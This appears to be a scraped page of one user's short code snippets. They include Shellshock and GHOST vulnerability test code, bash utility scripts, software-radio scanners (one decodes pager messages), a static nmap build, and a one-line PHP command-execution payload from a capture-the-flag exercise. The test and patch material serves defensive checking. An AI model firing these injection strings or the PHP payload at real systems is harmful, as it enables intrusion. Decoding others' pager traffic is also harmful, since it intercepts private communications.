sgviking

shellshock PoC/test code

CVE-2014-6271

env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

CVE-2014-7169

# will create a file named echo in cwd with date in it, if vulnerable
env X='() { (a)=>\' bash -c "echo date"; cat echo

sgviking

#!/usr/bin/env bash

# upgrade bash (from source) to
# GNU bash, version 4.3.27(1)-release (x86_64-unknown-linux-gnu)
# POC code: https://gist.github.com/sgviking/99f51a73665d8e52f50b

mkdir bash-src
cd bash-src

# download/verify bash source

sgviking

# Taken from vulnerability report for CVE-2015-0235
# http://www.openwall.com/lists/oss-security/2015/01/27/9

cat > GHOST.c << EOF
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

sgviking

#!/usr/bin/env bash

# To use this with sed the output string needs to be escaped like so:
# ./env2json | sed -e 's/[]\/$*.^|[]/\\&/g'
# Here is an example:
# sed -e "s/{PLACEHOLDER}/$(./env2json | sed -e 's/[]\/$*.^|[]/\\&/g')/" test.conf

# http://www.linuxjournal.com/content/bash-associative-arrays
# http://stackoverflow.com/questions/3112687/how-to-iterate-over-associative-array-in-bash
# http://stackoverflow.com/questions/9449417/how-do-i-assign-the-output-of-a-command-into-an-array

sgviking

#!/usr/bin/env bash

ethernet="enp0s20u3u1u3"
wireless_network="wlp3s0-syn-ack-5GHz"
monitor_left="DP1"
monitor_right="DP2-3"
monitor_laptop="eDP1"

status() {
	level=$1

sgviking

#!/usr/bin/env bash

rtl_fm -M fm -f 460.557M -f 460.432M -f 453.588M -f 460.188M -s 12k -g 50 -l 70 | play -r 12k -t raw -e s -b 16 -c 1 -V1 -

sgviking

#!/usr/bin/env bash

rtl_fm -M fm -f 163.228M -s 22050 -g 100 -l 310 | multimon-ng -t raw -a POCSAG1200 -f alpha /dev/stdin

sgviking

#!/usr/bin/env bash

# Usage: ./fm.sh 98.3

rtl_fm -M fm -s 200k -A fast -r 48k -f $1M  | play -r 48k -t raw -e s -b 16 -c 1 -V1 -

sgviking

git clone https://github.com/andrew-d/static-binaries
cd static-binaries/nmap
docker build -t staticnmap .
docker run -v $(pwd):/output staticnmap  # take a nap
cd linux/x86_64
./nmap 127.0.0.1

sgviking

<?php
passthru("cat flag.php");
?>